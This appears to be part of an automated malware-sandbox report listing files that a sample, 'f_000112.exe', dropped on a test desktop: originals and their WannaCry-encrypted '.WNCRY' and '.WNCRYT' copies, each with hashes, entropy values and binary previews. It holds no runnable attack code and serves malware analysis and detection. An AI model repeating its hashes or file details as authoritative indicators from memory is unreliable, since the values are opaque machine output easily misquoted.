                                                                                                                                                                              Preview:WANACRY!.....U...w......V..8n...A..oA...W..}....$....3..).r..@..)8...[....a{.......x.r....._4.F......-c..&k..u.1/...\..C{...b..b..&..D....Kq$ ..Y4...9..Q9gl.-.{h.Pg....ppx6s.HjY..r.K.d...-..0D./.n....>..6uM6.'.(w.N.wL..*..E.ASr....rr...2..: M.7...7.h.l/..............{_n...!..#..$.V-p.U....?8.jU.S-^{#..Y..T.wE..z.%.y.N....[.A...`.......v.. ....G{.........;..B!....h.$;. bmKX.BJ$.c&.....".$........Fq/..L;Mq..t.MaA.. ... .kf7..g.~....1..x.9..J;,.X.......c2...y.)\..8...m.?.n.i).4...3..0e&.....w.]....m...4..Q.&S..k].......8^..Q..f.E ..E.?...D.'.......eP.C.T....L....=..v.....e.\>ag........kn8P.."Q...)..2.....8...})a...7:=.8b.l...s.".6...........)8...(l......O.m...p...%..P..4w...c:.....D...../..Eb........?.y.B.O.=.>.z....~..p...\..U..&..2>..*....m..|D.>...z..a..A$S6.uMd..@g\!.=y.<.v.X..;K4*.b.#.......c5..}.....b.g...F.E.0C....pT.bc....oa.z./#..Tm.M\....,f..Y.C..,R.R....[d...Q0$......$.... .[.Q..u.........f.!.S .J...7T$..Qyj..f.fwNv.$...

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.817725723445421
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:cx5/gErrdzQckev0FquB9aGnQfEE24q//Ns2BrO4xLjLyk:25YErrd8Hev0Fqsn/d1U4RD
                                                                                                                                                                              MD5:E42F3D16B1BB5478431787F8F00B9BA8
                                                                                                                                                                              SHA1:0FB9618BA45A5E5DB4CE5AE5D560DC864C5AEE08
                                                                                                                                                                              SHA-256:29D853B423BBB3DB8A87958F590B4B2535E5CE71A136847B36572E53474B222F
                                                                                                                                                                              SHA-512:0C1747C7CC3C95933F210DC2D4A4BF56125C57772D4A89ECADE718893E27BCA651B639D069FD764A630306B327FE6EC9C555D98949754A3F32E28CEA4DAD4A80
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.l.....E..i........<4..s...T../.8.....I...-...@4.|0.........G..8...D...9.....}..U....h.....@.....|.R~.....(... <.Q.f.m.._w@w.b.V...<..6..Gzt.&...Vn..o..>....xc=....5D..........%..%.f.2NG....Q...q...|.B..t.6>.......@...M...U5fM=v).....D{..4K....;.<:.'...yvp..\.....5.x.T..~s.b..[.....j...............&..^-...`..Z"...h..{....2a.KX(#&?.X.g,..........6.j.a8.,..:.x.{i..._xl..S..L.n...N.l..Av..K.=......_......#..h......>....W...e1g.8.+.3....Ww.?...T.a.H...A.~.r.{D5.'..KV....."..p..`.JZ...Dr8.4_/.p..7..w.o.......u.......0.J...W.H......K.........TRI.h.....3..t'..1%..{..>.>}..I. ...I....7..\.nR..u.V*!3.....[...e.L.0.fz.|...C..dQR.....b.l.........}.-.4<.t..{......[_.P.......I.D..+.(S../4?Iw..0.w..Oq4"......0W2._.P.j.5.... 7.;.]....r....I...v:.>...[C2e.*...v........[I...$T.V..]i&....h.c..C...S.<.H.i..W..='.3......i.:..`>ao...6.4T2...V.3T.}.Rx.7j.X.;..#..Oc.d.z.$....m.28.2.%N!?.v..7......9LB...'...~._.Y...5}r.X..xa...J.3y..a=.{j.:..a.7aa.;.|U........u2k..a...q.

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.848389163527202
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2w4fHmpjuOdBCyCepeJ4zZJVnfOrzzptqsazokh+6P/9CUiRa:bk2w4u1ddB3ChA1f4Tqsch+6P/9Cc
                                                                                                                                                                              MD5:910FF3C4A16AF6A3125BDC5DD7DCFC70
                                                                                                                                                                              SHA1:BBF116505278FD905A1744443E5B6E82232BE413
                                                                                                                                                                              SHA-256:0162ED1D9898AF0F44056F9C3C578BBCBDFF6DEB0E824E2597185C3C2DBE5695
                                                                                                                                                                              SHA-512:36F674DF4E9AD0F4F0B17DC643C6AB65BD40EFBDE5061B424C23779F8467563D5BBD73B34F89137CDD1251AEF0F67FB3FDA1BE806DDA11E76F1050CF04A3453B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....I.c..GvA..k{z.o...<1....l.@...,..TH)b,.G[...'...lGb....p.>L...+@..F.lH....v.w..(.8...dg...s.>...d.xU..&>.L.p)..].....D.!.).u.@.}....s....^.6..H.,..}..N.........g...^..;.n8%.d...B.S..d......5.op.,.},&.;....6U.yZ.N....fA....uy..n....h.D.7_..U\.T.).A.b.............=..+S....ywA.E4..k.].......i'..\....S]h.;.!t$H..3.....?..t8.E..`.....y...D...T@"..J.4.l..J..\=..=......."-C..g..RW.....W..\-....p..8....V.;.......1.....-{(....(...X.y..a.rL.fE..e4......f.;.T.....T....T;.m[Ag.........*Pf....e...@..t.{=...y$ki01.4..`._.;"=xe..8(\y..o;.....29..K=Wp..S..d]5.b{SD..>.}../%....Dq9..).XC.oV...C6:.%.dT......)T...r."|.+...=k.F`....*......I...n.2..w^.{z1.tZ.2.^...hY.:.9bv.de.U.S..n:![..^(7.8.Q.Sq.\...c.&.Y...z..(bkp"..|.o.....j .Z.{.......Qr.........u. 1ZA.....}..!.....<..k...7..[./8o...%.s..m.5.[5.U.?..N.(..xQ.s..Ikd..}.T.k..5j,...I.+D.e5].L.T+,.QJ.S.?\IMV*.^..fG.N..k.-...-.....+4*.......{.IZ.........e....h%.PC@..kx)...K.4.7`.#..V.....^.v.H.

                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.848389163527202
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2w4fHmpjuOdBCyCepeJ4zZJVnfOrzzptqsazokh+6P/9CUiRa:bk2w4u1ddB3ChA1f4Tqsch+6P/9Cc
                                                                                                                                                                              MD5:910FF3C4A16AF6A3125BDC5DD7DCFC70
                                                                                                                                                                              SHA1:BBF116505278FD905A1744443E5B6E82232BE413
                                                                                                                                                                              SHA-256:0162ED1D9898AF0F44056F9C3C578BBCBDFF6DEB0E824E2597185C3C2DBE5695
                                                                                                                                                                              SHA-512:36F674DF4E9AD0F4F0B17DC643C6AB65BD40EFBDE5061B424C23779F8467563D5BBD73B34F89137CDD1251AEF0F67FB3FDA1BE806DDA11E76F1050CF04A3453B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....I.c..GvA..k{z.o...<1....l.@...,..TH)b,.G[...'...lGb....p.>L...+@..F.lH....v.w..(.8...dg...s.>...d.xU..&>.L.p)..].....D.!.).u.@.}....s....^.6..H.,..}..N.........g...^..;.n8%.d...B.S..d......5.op.,.},&.;....6U.yZ.N....fA....uy..n....h.D.7_..U\.T.).A.b.............=..+S....ywA.E4..k.].......i'..\....S]h.;.!t$H..3.....?..t8.E..`.....y...D...T@"..J.4.l..J..\=..=......."-C..g..RW.....W..\-....p..8....V.;.......1.....-{(....(...X.y..a.rL.fE..e4......f.;.T.....T....T;.m[Ag.........*Pf....e...@..t.{=...y$ki01.4..`._.;"=xe..8(\y..o;.....29..K=Wp..S..d]5.b{SD..>.}../%....Dq9..).XC.oV...C6:.%.dT......)T...r."|.+...=k.F`....*......I...n.2..w^.{z1.tZ.2.^...hY.:.9bv.de.U.S..n:![..^(7.8.Q.Sq.\...c.&.Y...z..(bkp"..|.o.....j .Z.{.......Qr.........u. 1ZA.....}..!.....<..k...7..[./8o...%.s..m.5.[5.U.?..N.(..xQ.s..Ikd..}.T.k..5j,...I.+D.e5].L.T+,.QJ.S.?\IMV*.^..fG.N..k.-...-.....+4*.......{.IZ.........e....h%.PC@..kx)...K.4.7`.#..V.....^.v.H.

                                                                                                                                                                              C:\Users\user\Desktop\EWZCVGNOWT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.801988897777572
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Sz2zj50DijLnY6gkrh+/6QJHu8UJoo/jTArkxqvvZnljPz0EfJsgQW:SiLY6gMIvHU2oXxqvXf0ERf
                                                                                                                                                                              MD5:3C18D77E2F0E41BAC59847F68446B9E6
                                                                                                                                                                              SHA1:811BE5C69254D4BD481B0105BE10EAC398D3ED95
                                                                                                                                                                              SHA-256:75A2FC693AFBCB9B438DCA94E1429D94FE4BB12B41FA6718C88CA4C97B42940A
                                                                                                                                                                              SHA-512:F6C16C15FF041A699576B91F5AC448F80E2075D94172999084E36D2A175FC58D6A494C4A57EF5F0482CD26EE854010EEFE1680AB41EAE5627966F0BF65DBF695
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..^u...c,uiVh.m......\?..j.....'9.,AN.!j........uP'.`...R".(l/\......?.....f.oj.@$.C.w.h..$.4....h...t.}.4....\....!2*U.....,\P.r&.I.W..T.....].5v4. .F..+...."P.:.}y:)..`~.};u.<-,.{.K..X..e...b./j..P$...}..r8.dV.a...S?N......fL..~X(|2..'.k.$.B..&...{3..a^....x...l....#.aW..L..Oj;...z.X_.....iK\.` "...:...2.c..s..'....k....H..(?.`.-|......aY'.|"7.E..e7MT.Fe...b..O...J"h.d..@..c..=..LVc."..$w...V.5!....7...V...v.9? ,:....5..~sm.).+.1.p.~i.L..?..... !^......._....}g......'...CH.^R.........pm.N.j.."0.Gnx}?n..\.?....O.H....I..xQ...pV..O./:..|...K.....4.R..2..$g.#_.[.....{M...B<.w..,. ..W...2...+\"!>....e~.O....;n....!0.K..nG.m.t.vZ.a...1.m..y....4z.z...\...<OY......7...]......x.,.j.q~...8.<.V...4.,...Z.'"...*.+W.:.u..*.6.r..].).t....s..U.........f...*d.dE.dj.ZH..9....|\:..S}..B.rY?.....z=.&.P"..{. x...w.j.....$.(m.T..{.B..Y.....E_t@...d.pw.r.1..\....*..a>=e.0...n!.A.>w.V.jz..j%...].I.....SYZ.|Rfc.R...(?d`.0.j.....%..........<..DD.^....G3&E....`

                                                                                                                                                                              C:\Users\user\Desktop\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.82828042520161
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklJo0b9//7ESM+5K0EXKhnHNB5z5azvrzA242qI4J9rSAD04SDd9x:bkle05/jESM+560t35uHAXC4JJJ0n
                                                                                                                                                                              MD5:71A37EE22A0C7B58D42A470CDB627977
                                                                                                                                                                              SHA1:4262CA0A9FA35EE09E81DF03613642B768354F64
                                                                                                                                                                              SHA-256:AB7D064E71C8E4FFA98C38AF06B7D3F7D760DC863D5C1B5AB4E5BDD78731D60D
                                                                                                                                                                              SHA-512:683E7D14C2573C21154D43B81E0E1F2895825AE001EA446D002BDF757BDBB28601C4523B0554BA0707D636E0B2145EF98D9519060FD3B5553502D7219705A836
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........1...'..5..pp.=...............-..B.....'...R.C.......w5..V_.- Q...j....Y..HQa..O. ..~w+:.a...T.......jY.Pz0...#h.aY...y..}.ap.{...d...o4.C..2.E.^......@..`...Z..zWR..j..s9.!..W.OW.!..3.....4.S.~..\...94..A....m.....!.I$p(..n1i.}]...T..R.................2.'....nF.d.......e...Xb4P.......E..4..w..?....0z.E.#,.`.....[.>....EZ >..a...x.@.?............,,|...Hx.u..4.....|...5.8Q#.. ..6.B.1`...R.DR.zB..........B..i..z....I`..$B]......F...,.*..>#....&...4.R.AtSS4.;..{.R.....;u/g.....T$.[.z.^j....d...A|l.s{..b_>...'k.).cR'....]...#9....`..QA%.0r\...b...c..C`.$}.G.?...6..m..c..Fr..T.nS..@[..n..'...I..e....wg.l..V..5.:...v;<...<?6._....Zz;..l[.d.....u[...Z.K*.AA..MW<.vh..xp...5.fSRL......82../...............2yI..b..9.D........@.....E^..!.3+.%S....*....+*.K].(...B...8..|...MR.....[.}.p....Y...k.9.Z...[K..su TL#.A...=.0..?..@w.........s( ..E..........RT.....}....r..0u....I.s+......`b...4.'8g..\...l........M.Et_k.>}u!....4Q..R..x.N....

                                                                                                                                                                              C:\Users\user\Desktop\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.82828042520161
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklJo0b9//7ESM+5K0EXKhnHNB5z5azvrzA242qI4J9rSAD04SDd9x:bkle05/jESM+560t35uHAXC4JJJ0n
                                                                                                                                                                              MD5:71A37EE22A0C7B58D42A470CDB627977
                                                                                                                                                                              SHA1:4262CA0A9FA35EE09E81DF03613642B768354F64
                                                                                                                                                                              SHA-256:AB7D064E71C8E4FFA98C38AF06B7D3F7D760DC863D5C1B5AB4E5BDD78731D60D
                                                                                                                                                                              SHA-512:683E7D14C2573C21154D43B81E0E1F2895825AE001EA446D002BDF757BDBB28601C4523B0554BA0707D636E0B2145EF98D9519060FD3B5553502D7219705A836
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........1...'..5..pp.=...............-..B.....'...R.C.......w5..V_.- Q...j....Y..HQa..O. ..~w+:.a...T.......jY.Pz0...#h.aY...y..}.ap.{...d...o4.C..2.E.^......@..`...Z..zWR..j..s9.!..W.OW.!..3.....4.S.~..\...94..A....m.....!.I$p(..n1i.}]...T..R.................2.'....nF.d.......e...Xb4P.......E..4..w..?....0z.E.#,.`.....[.>....EZ >..a...x.@.?............,,|...Hx.u..4.....|...5.8Q#.. ..6.B.1`...R.DR.zB..........B..i..z....I`..$B]......F...,.*..>#....&...4.R.AtSS4.;..{.R.....;u/g.....T$.[.z.^j....d...A|l.s{..b_>...'k.).cR'....]...#9....`..QA%.0r\...b...c..C`.$}.G.?...6..m..c..Fr..T.nS..@[..n..'...I..e....wg.l..V..5.:...v;<...<?6._....Zz;..l[.d.....u[...Z.K*.AA..MW<.vh..xp...5.fSRL......82../...............2yI..b..9.D........@.....E^..!.3+.%S....*....+*.K].(...B...8..|...MR.....[.}.p....Y...k.9.Z...[K..su TL#.A...=.0..?..@w.........s( ..E..........RT.....}....r..0u....I.s+......`b...4.'8g..\...l........M.Et_k.>}u!....4Q..R..x.N....

                                                                                                                                                                              C:\Users\user\Desktop\GIGIYTFFYT.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.793702372322508
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ukjaxCGf+nTRWyP8yb1+SeS0CLWgaGSHZa2p1UilvrTK+vRrn:RslfaTjPVkzS8Z7p1UarTK+prn
                                                                                                                                                                              MD5:C9E9DDCF6B52CF5B518A03B97304BBF5
                                                                                                                                                                              SHA1:F42E4E834D9C7D9D11988B659E60D75B524B3301
                                                                                                                                                                              SHA-256:1CD3CF1E4055FD0061BEC50156F6449F98738C403167B042CE039D9643C694F8
                                                                                                                                                                              SHA-512:069D6D27995619BA9EE09649E29646DBAFD41FC69F22463F1CA29E4CB8135DE96F50FCEB480C9A08FF5F80DBB88857CA14EFD0004E935DDC3C8AF6475C3910A7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.I.M9...1....~..y..`...q)y.h.N.aj;.3.b.LhB...o.~.`....../s..^."..r..F1r.pF:..#.9E.[*AY.,..(..&d1....q... Q...u.;,.f@.3)._.s.c......z..`.v..A.0-.Z.=.....K..%CA......4..Iqz.3..~...f.QH.2mX..l.eU.b...ug..R..nE...[U.I.7^.....OC....b8...z.M.$...........5...._)@..c.n./..J....A.s....j...U.....L.g.R|+..i..wa...t..L..k..A.JVH;..X......O.I.=.W,Q..W.=!...E.$G.....s....q..u....M...!g`.2..J..Kb.....c}.s.....h.U....n...|.....D....3K.1.w.(XJ.....a).X!......./..\....T...*G{..>.1$..Vj.r.![o*...sI*.o...q.p. ..[..i....&..CO...E....<..^.....!.C>Q?8....1J.C{.......rK.z..&..@O.E^...N}.b..V.>\..wp.....o...7..8F2oF....%.Q....N..P..l.w.os.#~{Btk^...f.f.`....h....#.\e....A....+Y{M:P.S..v8o(.{%........5G.y................U>E...S..."..i&)V1.^._...*M7^lm .......%&1...b....p......q]V........gAQA..r..l.R_r.5;...$....,G...'...t@P........Q.$(Th... ..C.j..zN.Gb....6..o......4..byM.@C......;..O.....>.F.]...W..w..m......=.....M|.'|Gb-j8.\..m.....E.T*....N.tV..\.7..5".T

                                                                                                                                                                              C:\Users\user\Desktop\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853910080066616
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkl6wtfn7VBR4EGA4gy2t/ZEVjFZPwEsMdxD78oZ8qG0qb99+RO8r9ouSc6O+Hzz:bklhZ7VnLrLy2dcTogdxjZ1y9WxZougH
                                                                                                                                                                              MD5:495CF00432E682A1FE16C85B081EA153
                                                                                                                                                                              SHA1:AD7D48A00250CF3133E17661372A7D504C65C7FB
                                                                                                                                                                              SHA-256:3BEF3E8FB80F7461C9B34B10CDCA1A725DA77D20F6CC7D71CBF12B475ACD23BB
                                                                                                                                                                              SHA-512:6E94E5CEE3E77CD4A6A00C680438CA8936A353C518711F08F7E79E6837A50A3F9782970A238705F3FC963D9A605DDA7069BB9FE31C2DE7C391C80354CAAC277C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A...$......Q...&". .1uI.w.D`@...NJ.{........Y(..>..Q..;..;d....Nt&bK..'........aU....M....6s<..%).Y{'-..0p.#mP.a..K.E.vin...m.O.......wk.p.....0...P..y..;y..1.|5..{.....g..Fn.A...4!./.Q5Hm3+#r..%n.-k......`.t....|.q.>....4..M;.V8...].%................e....27.+.!.S..-..;E.W...o...9.m..Z.E..,8.7'.o./(..C.<..^.$.F..[......Yb.[..!g..n{.......+j;9.2..w..(.%,.%..".....:.c...x....z.8J...#$...S..#..._?r.3p[..`..u....Q.%z.Nt.....:(.X.C.f..#..2..d...c... w...(..*il...q.,......W.......F...Y..^@.c...C F....EGLU~....a.QC.~.r^+7.WyK......i.;..-..(..q......(Z.lh:d\.Y.g.y...3>.8/...a.v9}..B.....[4m...?...,%..e..qA.'.G........Rap4q....v....a.'&...I.w<...=.+#..ql..k.X3;.*..>...H.fa.......x.=..&..V!RZ.jL.....n.Y7(.D...O........... ..{g<....gV....M..w2..A.&.g.Y..M....3......e..3Y...q...C..4@....Mqj...<.aYx\l....]...v_`...1..Z[kQLW...s...%g....fM.).,...L.1..`..F..yPw@......Y..[W....W.o'..._X.)%......".....$.5..z.LD8(...L.l.R...?.s3^..sB=..Q.....

                                                                                                                                                                              C:\Users\user\Desktop\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853910080066616
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkl6wtfn7VBR4EGA4gy2t/ZEVjFZPwEsMdxD78oZ8qG0qb99+RO8r9ouSc6O+Hzz:bklhZ7VnLrLy2dcTogdxjZ1y9WxZougH
                                                                                                                                                                              MD5:495CF00432E682A1FE16C85B081EA153
                                                                                                                                                                              SHA1:AD7D48A00250CF3133E17661372A7D504C65C7FB
                                                                                                                                                                              SHA-256:3BEF3E8FB80F7461C9B34B10CDCA1A725DA77D20F6CC7D71CBF12B475ACD23BB
                                                                                                                                                                              SHA-512:6E94E5CEE3E77CD4A6A00C680438CA8936A353C518711F08F7E79E6837A50A3F9782970A238705F3FC963D9A605DDA7069BB9FE31C2DE7C391C80354CAAC277C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A...$......Q...&". .1uI.w.D`@...NJ.{........Y(..>..Q..;..;d....Nt&bK..'........aU....M....6s<..%).Y{'-..0p.#mP.a..K.E.vin...m.O.......wk.p.....0...P..y..;y..1.|5..{.....g..Fn.A...4!./.Q5Hm3+#r..%n.-k......`.t....|.q.>....4..M;.V8...].%................e....27.+.!.S..-..;E.W...o...9.m..Z.E..,8.7'.o./(..C.<..^.$.F..[......Yb.[..!g..n{.......+j;9.2..w..(.%,.%..".....:.c...x....z.8J...#$...S..#..._?r.3p[..`..u....Q.%z.Nt.....:(.X.C.f..#..2..d...c... w...(..*il...q.,......W.......F...Y..^@.c...C F....EGLU~....a.QC.~.r^+7.WyK......i.;..-..(..q......(Z.lh:d\.Y.g.y...3>.8/...a.v9}..B.....[4m...?...,%..e..qA.'.G........Rap4q....v....a.'&...I.w<...=.+#..ql..k.X3;.*..>...H.fa.......x.=..&..V!RZ.jL.....n.Y7(.D...O........... ..{g<....gV....M..w2..A.&.g.Y..M....3......e..3Y...q...C..4@....Mqj...<.aYx\l....]...v_`...1..Z[kQLW...s...%g....fM.).,...L.1..`..F..yPw@......Y..[W....W.o'..._X.)%......".....$.5..z.LD8(...L.l.R...?.s3^..sB=..Q.....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.791474478473064
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:8w06zkjAXdM9tUUebaZhVugZd+B3pTgOiPdSB+BnJwiN6p/V2DxPC:8w34j8MGeZhggP+99B+BnJw86ZV2NPC
                                                                                                                                                                              MD5:4F7514B68ABEF9063810282E4DBBECDD
                                                                                                                                                                              SHA1:8FC76B440D137E1020AC9770A5EBEB6EDAD18CD6
                                                                                                                                                                              SHA-256:D738EDA43ED31B19DA4B9C6731DB79D73051946B29C966B36CACF2973019D367
                                                                                                                                                                              SHA-512:AD64F75BCF63679B5D7740BB28E55F09E55907625F8854A99F394BC568955211A589E301BAF762ED6924710C86994E1B3842BF7D75DF9AB189DBE8937A9D4AB9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.7h..4..3..........}M.l.OS.M..~..,...KZ.}v....{./..e.@x....^.5\1.}..l.`4.......K..(..[...G;.q......X$....{...........#t..4"{D.6.T..J...K&.e.......l.Sp3J.U.............P},..c...L6k.......&~........@.rT....>..qz8-.K.4O..`..'.`L9..L+.....T..:....Zn..~..W.y...p[.D.|kN.r.O...$5.p.oN..B..{..!Ka.9..p...9U3.0.W.........T....j.....`)..wm......#.|.z./..Aln....'..?...5aD."...X...U."o@W)..a..._...Z.@.r..Kd.p=.t..........\C>u.M..'.;..=>k.r.Wk.x(-.,t..i.?.I..y..I.....E..x!..pF.......=.t..A?.B...o..NY n......n.i....4K..v...-S..,....p..k.21.#">...BIaY.....2.i...:X7.u.@^<.8....u.B'.#..E*>...Er.Y....v.D.\$...?n.!.r....lA6v..q..Z........u7..U$....B...)..sI..z.g.g.9.,.v.W.m>4...N.q<.cj/..x..V..a...^r......4.k...Y...5....d...E]...;.B^.y....y.P.r....%Y..L..>Y.....n.y...-"..............B.^<8Gz`.....5F.<:8>x....D.......7a..^p.3.............H...42N..........s.>K...KF....03(."./.@Z...Ve.'...}K#..S.R..".6...Q.m=(.......:.W..cQBgq.ri7..........A.... W.....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.875909080610622
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkCbEsxTXHFzoj9reTZ/zEMECs6Isc4kiqs+pcVXvmmO5w730nxnQrcnu6EC:bkiVFzoeTKCsDs7kvpk/mjU30nOcnl
                                                                                                                                                                              MD5:BB7D04FDC1DE90BA5765110473257AB2
                                                                                                                                                                              SHA1:AB717B649003216D3D64B58CACA7EAC3FA95DB43
                                                                                                                                                                              SHA-256:2AA6B8F055C618EE986016A03DE878385DED1B5F6BD17A741E1E6EB3CB29EDC3
                                                                                                                                                                              SHA-512:82A6262C2C6117DE97085F1EFD7180F18F5CCD8A3F98DF844300C84D47E02B3F51F94A7A43E33AC156716EC20420F32D8A03F501EDA7E2C17FEB310E9FBC5356
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......V.z..S. /x..,.VyW.U...!Lm1.Xf.Aj.bj.i^._ ..(.B z.o.(8...g.hv..=Z......9...;g.....U..{..:q.p.."Mu..O...k..{..w{..*..0q".a..>c.E.T....d..".;.<3<...y.......q...e..a?T....=.z`o.t....y....[cz..O....v..^8(.U.ecWn...h..}>.....w%.]X@.e...j.T.o...............>UI\.R..UH.D>.p..i.%;...".#.k....O.Q|>.@m.:r.N.......=1J.%.2..L..E.m..*.....K.RW7gV....]Rs8.p....|.t..y.=.I+...(/..om......B#.u..Z...F.fg.....)ef.D...r.fP,.3.ol..&I..@.kS.u...h..tS..0...F.:.......EP+...8l.....X....2....NT....*.5..^.........:..#.Z.t... ....O_...F..........,.[..~.!,.......|xiyOD..Z.X....,;w'...g.....F...{..D.e..v.._G.DKW.:TWU... l.{>.?/.>...t.0.}..F...L..}..K.A.4c1m....s...@.X..Wk..o3.Jq.............+.4.v.|...L..(@..Hu8..6....bn..}+._.j..@jE..z.......<..o._1...}..$.a;....0.!.;.....Gd..,-....iG.@..R _ .}7.\.>..=...W.Z....2...&8;p..\n........_..u.9...n~....be.J..../R.....%^...V].@C./..%.............i{>Yx...&T9.r.UO.O.b.0...g..-P.......#n.~pm.....5....KA....~...W.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.875909080610622
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkCbEsxTXHFzoj9reTZ/zEMECs6Isc4kiqs+pcVXvmmO5w730nxnQrcnu6EC:bkiVFzoeTKCsDs7kvpk/mjU30nOcnl
                                                                                                                                                                              MD5:BB7D04FDC1DE90BA5765110473257AB2
                                                                                                                                                                              SHA1:AB717B649003216D3D64B58CACA7EAC3FA95DB43
                                                                                                                                                                              SHA-256:2AA6B8F055C618EE986016A03DE878385DED1B5F6BD17A741E1E6EB3CB29EDC3
                                                                                                                                                                              SHA-512:82A6262C2C6117DE97085F1EFD7180F18F5CCD8A3F98DF844300C84D47E02B3F51F94A7A43E33AC156716EC20420F32D8A03F501EDA7E2C17FEB310E9FBC5356
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
